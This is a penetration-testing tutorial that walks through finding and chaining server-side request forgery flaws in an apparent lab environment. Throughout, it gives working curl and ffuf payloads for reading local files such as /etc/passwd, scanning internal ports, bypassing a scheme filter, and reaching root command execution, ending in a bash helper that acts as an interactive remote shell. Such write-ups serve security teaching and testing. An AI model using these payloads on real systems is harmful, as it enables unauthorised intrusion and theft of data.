Unveiling The Techniques Of Finding Server-Side Request Forgery (SSRF) In Web Applications (with a…

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Server-Side Request Forgery (SSRF) attacks, listed in the OWASP top 10, allow us to abuse server functionality to perform internal or external resource requests on behalf of the server. To do that, we usually need to supply or modify URLs used by the target application to read or submit data. Exploiting SSRF vulnerabilities can lead to:

Interacting with known internal systemsDiscovering internal services via port scansDisclosing local/sensitive dataIncluding files in the target applicationLeaking NetNTLM hashes using UNC Paths (Windows)Achieving remote code execution

We can usually find SSRF vulnerabilities in applications that fetch remote resources. When hunting for SSRF vulnerabilities, we should look for:

Parts of HTTP requests, including URLsFile imports such as HTML, PDFs, images, etc.Remote server connections to fetch dataAPI specification importsDashboards including ping and similar functionalities to check server statuses

Note: Always keep in mind that web application fuzzing should be part of any penetration testing or bug bounty hunting activity. That being said, fuzzing should not be limited to user input fields only. Extend fuzzing to parts of the HTTP request as well, such as the User-Agent.

Let’s first exploit an internet-facing web application and then work to gain remote code execution on an internal host by chaining multiple SSRF vulnerabilities. The attack flow will be as follows:

[PENTESTER]🠖-TARGET]--[SSRF]🠖[INTERNAL-WEBSERVER]--[SSRF]🠖[LOCALHOST WEBAPP]🠖[RCE]

Basic reconnaissance against the host shows there are only three open ports.

Nmap — Discovering Open Ports:

nmap -sT -T5 --min-rate=10000 -p- 10.129.164.131Nmap scan report for 10.129.164.131
Host is up (0.00047s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxyNmap done: 1 IP address (1 host up) scanned in 13.25 seconds

Let’s issue a cURLrequest to the target server using the parameters -i to show the protocol response headers and -s to use the silent mode.

Curl — Interacting with the Target:

curl -i -s http://10.129.164.131HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 242
Location: http://10.129.164.131/load?q=index.html
Server: Werkzeug/2.0.2 Python
Date: Mon, 18 Oct 2021 09:01:02 GMT<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/load?q=index.html">/load?q=index.html</a>. If not click the link.

We can see the request redirected to /load?q=index.html, meaning the q parameter fetches the resource index.html. Let us follow the redirect to see if we can gather any additional information.

curl -i -s -L http://10.129.164.131

HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 242
Location: http://10.129.164.131/load?q=index.html
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Mon, 18 Oct 2021 10:20:27 GMT

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 153
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Mon, 18 Oct 2021 10:20:27 GMT

<html>

<body>
<h1>Bad App</h1>
<a>Hello World!</a>
</body>
</html>

The target is ubuntu-web.lalaguna.local, and internal.app.local is an application on the internal network (inaccessible from our current position).

The next step is to confirm if the q parameter is vulnerable to SSRF. If it is, we may be able to reach the internal.app.local web application by leveraging the SSRF vulnerability. We say "may" because a trust relationship likely exists for ubuntu-web to be able to reach and interact with internal.app.local. This type of relationship can be something as simple as a firewall rule (or even a lack of any firewall rule).

In one terminal, let’s use Netcat to listen on port 8080, as follows.

Netcat Listener

nc -nvlp 8080listening on [any] 8080 ...

Now, let us issue a request to the target web application with http://<VPN/TUN Adapter IP> instead of index.html in another terminal

Curl — Testing for SSRF

pwnsec@htb[/htb]$ curl -i -s "http://10.129.164.131/load?q=http://<VPN/TUN Adapter IP>:8080"HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 0
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Mon, 18 Oct 2021 12:07:10 GMT

We will receive the following into our Netcat listener confirming the SSRF vulnerability via a request issued by the target server using Python-urllib:

Netcat Listener — Confirming SSRF

Connection received on 10.129.164.131:49852
GET / HTTP/1.1
Accept-Encoding: identity
Host: <VPN/TUN Adapter IP>:8080
User-Agent: Python-urllib/3.8
Connection: close

Reading the Python-urllib documentation, we can see it supports file, http and ftp schemas. So, apart from issuing HTTP requests to other services on behalf of the target application, we can also read local files via the file schema and remote files using ftp.

We can test this functionality through the steps below:

Create a file called index.html

Code: html

<html>
</body>
<a>SSRF</a>
<body>
<html>Inside the directory where index.html is located, start an HTTP server using the following command

Start Python HTTP Server

python3 -m http.server 9090Inside the directory where index.html is located, start an FTP Server via the following command

Start FTP Server

sudo pip3 install twisted
sudo python3 -m twisted ftp -p 21 -r .

Retrieve index.html through the target application using the ftp schema, as follows

Retrieving a remote file through the target application — FTP Schema

curl -i -s "http://10.129.164.131/load?q=ftp://<VPN/TUN Adapter IP>/index.html"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:21:09 GMT
<html>
</body>
<a>SSRF</a>
<body>
<html>

Retrieve index.html through the target application using the http schema, as follows:

Retrieving a remote file through the target application — HTTP Schema

curl -i -s "http://10.129.164.131/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:26:18 GMT

Retrieve a local file using the file schema, as follows:

Retrieving a local file through the target application — File Schema

curl -i -s "http://10.129.164.131/load?q=file:///etc/passwd"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 926
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:27:17 GMT

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Bear in mind that fetching remote HTML files can lead to Reflected XSS.

Remember, we only have two open ports on the target server. However, there is a possibility of internal applications existing and listening only on localhost. We can use a tool such as ffuf to enumerate these web applications by performing the following steps:

Generate a wordlist containing all possible ports.

Generate a Wordlist:

for port in {1..65535};do echo $port >> ports.txt;doneIssue a cURL request to a random port to get the response size of a request for a non-existent service.

Curl — Interacting with the Target

curl -i -s "http://10.129.164.131/load?q=http://127.0.0.1:1"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 30
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:36:25 GMT

[Errno 111] Connection refused

Use ffuf with the wordlist and discard the responses which have the size we previously identified.

Port Fuzzing:

ffuf -w ./ports.txt:PORT -u "http://10.129.164.131/load?q=http://127.0.0.1:PORT" -fs 30

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.1 Kali Exclusive <3
________________________________________________

:: Method : GET
:: URL : http://10.129.164.131/load?q=http://127.0.0.1:PORT
:: Wordlist : PORT: ./ports.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 30
________________________________________________

80 [Status: 200, Size: 153, Words: 11, Lines: 8]
5000 [Status: 200, Size: 64, Words: 3, Lines: 1]
:: Progress: [65535/65535] :: Job [1/1] :: 577 req/sec :: Duration: [0:02:00] :: Errors: 0 ::

We have received a valid response for port 5000. Let us check it as follows.

cURL — Interacting with the Target

curl -i -s "http://10.129.164.131/load?q=http://127.0.0.1:5000"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 64
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:47:16 GMT

<html><body><h1>Hey!</h1><a>Some internal app!</a></body></html>

Up to this point, we have learned how to reach internal applications and use different schemas to load local files through SSRF. Armed with this knowledge, let us try attacking the internal.app.local web application, again through SSRF. Our ultimate goal is to achieve remote code execution on an internal host.

First, we issue a simple cURL request to the internal application we discovered previously. Remember the information we uncovered that both applications load resources in the same way (via the q parameter).

cURL — Interacting with the Target

curl -i -s "http://10.129.164.131/load?q=http://internal.app.local/load?q=index.html"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 83
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 13:51:15 GMT

<html>
<body>
<h1>Internal Web Application</h1>
<a>Hello World!</a>
</body>
</html>

Now, let us discover any web applications listening in localhost. Let us try to issue a request to a random port to identify how responses from closed ports look.

cURL — Interacting with the Target

curl -i -s "http://10.129.164.131/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 97
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 14:52:32 GMT

<html><body><h1>Resource: http127.0.0.1:1</h1><a>unknown url type: http127.0.0.1</a></body></html>

We have received an unknown url type error message. It seems the web application is removing :// from our request. Let's try to overcome this situation by modifying the URL.

cURL — Interacting with the Target

curl -i -s "http://10.129.164.131/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 99
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 14:55:10 GMT

<html><body><h1>Resource: http://127.0.0.1:1</h1><a>[Errno 111] Connection refused</a></body></html>

In this case, the web application returns some HTML rendered content containing the resource we are trying to fetch. This response will affect our internal service discovery if we use the size of the response as a filter as it will change depending on the port. Fortunately for us, ffuf supports regular expressions for filtering. We can use this ffuf feature to use the error number for filtering responses, as follows.

Port Fuzzing:

ffuf -w ./ports.txt:PORT -u "http://10.129.164.131/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT" -fr 'Errno[[:blank:]]111'

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.1 Kali Exclusive <3
________________________________________________

:: Method : GET
:: URL : http://10.129.164.131/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT
:: Wordlist : PORT: ./ports.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Regexp: Errno[[:blank:]]111
________________________________________________

80 [Status: 200, Size: 153, Words: 5, Lines: 6]
5000 [Status: 200, Size: 123, Words: 3, Lines: 5]
:: Progress: [65535/65535] :: Job [1/1] :: 249 req/sec :: Duration: [0:04:06] :: Errors: 0 ::

We have found another application listening on port 5000. In this case, the application responds with a list of files.

cURL — Interacting with the Target

curl -i -s "http://10.129.164.131/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 385
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 20:30:07 GMT

<html><body><h1>Resource: http://127.0.0.1:5000/</h1><a>total 24K
drwxr-xr-x 1 root root 4.0K Oct 19 20:29 .
drwxr-xr-x 1 root root 4.0K Oct 19 20:29 ..
-rw-r--r-- 1 root root 84 Oct 19 16:32 index.html
-rw-r--r-- 1 root root 1.2K Oct 19 16:32 internal.py
-rw-r--r-- 1 root root 691 Oct 19 20:29 internal_local.py
-rwxr-xr-x 1 root root 69 Oct 19 16:32 start.sh
</a></body></html>

Let us make a quick recap of what we have achieved:

Issue requests on behalf of ubuntu-web to internal.app.localReach a web application listening on port 5000 inside internal.app.local chaining two SSRF vulnerabilitiesDisclose a list of files via the internal application

Let us now uncover the source code of the web applications listening on internal.app.local to see how we can achieve remote code execution.

Let us issue a request to disclose /proc/self/environ file, where the current path should be present under the PWD environment variable.

cURL — Interacting with the Target

curl -i -s "http://10.129.164.131/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 584
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 16:52:20 GMT

<html><body><h1>Resource: file:///proc/self/environ</h1><a>HOSTNAME=18f236843662PYTHON_VERSION=3.8.12PWD=/appPORT=80PYTHON_SETUPTOOLS_VERSION=57.5.0HOME=/rootLANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568SHLVL=0PYTHON_PIP_VERSION=21.2.4PYTHON_GET_PIP_SHA256=01249aa3e58ffb3e1686b7141b4e9aac4d398ef4ac3012ed9dff8dd9f685ffe0PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d781367b97acf0ece7e9e304bf281e99b618bf10/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=/usr/local/bin/python3</a></body></html>

Now we know that the current path is /app, and we have a list of interesting files. Let's disclose the internal_local.py file as follows.

Retrieving a local file through the target application — File Schema

curl -i -s "http://10.129.164.131/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 771
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 20:40:28 GMT

<html><body><h1>Resource: file:///app/internal_local.py</h1><a>import os
from flask import *
import urllib
import subprocess

basedir = os.path.abspath(os.path.dirname(__file__))

app = Flask(__name__)

def run_command(command):
p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = p.stdout.read()
stderr = p.stderr.read()
result = stdout.decode() + " " + stderr.decode()
return result

@app.route("/")
def index():
return run_command("ls -lha")

@app.route("/runme")
def runmewithargs():
command = request.args.get("x")
if command == "":
return "Use /runme?x=<CMD>"
return run_command(command)

if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)
</a></body></html>

By studying the source code above, we notice a functionality that allows us to execute commands on the remote host sending a GET request to/runme?x=<CMD>. Let us confirm remote code execution by sending whoami as a command.

cURL — Interacting with the Target

curl -i -s "http://10.129.164.131/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 93
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 20:48:32 GMT

<html><body><h1>Resource: http://127.0.0.1:5000/runme?x=whoami</h1><a>root
</a></body></html>

We can execute commands under the superuser context on the target application. But what happens if we try to submit a command with arguments, such as the below?

curl -i -s "http://10.129.164.131/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a"

HTTP/1.0 400 Bad request syntax ('GET /load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a HTTP/1.1')
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 586

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 400</p>
<p>Message: Bad request syntax ('GET /load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a HTTP/1.1').</p>
<p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
</body>
</html>

To execute commands with arguments or special characters, we need to encode them three times as we pass them through three different web applications.

For doing so, you can use any online URL-encoding service such as urlencoder.org. A quick way to achieve this from the terminal also exists. This is to use jq, which supports encoding as follows:

Install JQ

sudo apt-get install jq
echo "encode me" | jq -sRr @uri
encode%20me%0A

We can now create a bash function to automate executing commands on the target application.

Automate executing commands

function rce() {
function> while true; do
function while> echo -n "# "; read cmd
function while> ecmd=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
function while> curl -s -o - "http://10.129.164.131/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
function while> echo ""
function while> done
function> }

Now we need to call the function and execute commands via:

rce
# uname -a; hostname; whoami

<html><body><h1>Resource: http://127.0.0.1:5000/runme?x=uname%20-a%3B%20hostname%3B%20whoami
</h1><a>Linux a054d48cc0a4 5.8.0-63-generic #71-Ubuntu SMP Tue Jul 13 15:59:12 UTC 2021 x86_64 GNU/Linux
a054d48cc0a4
root
</a></body></html>

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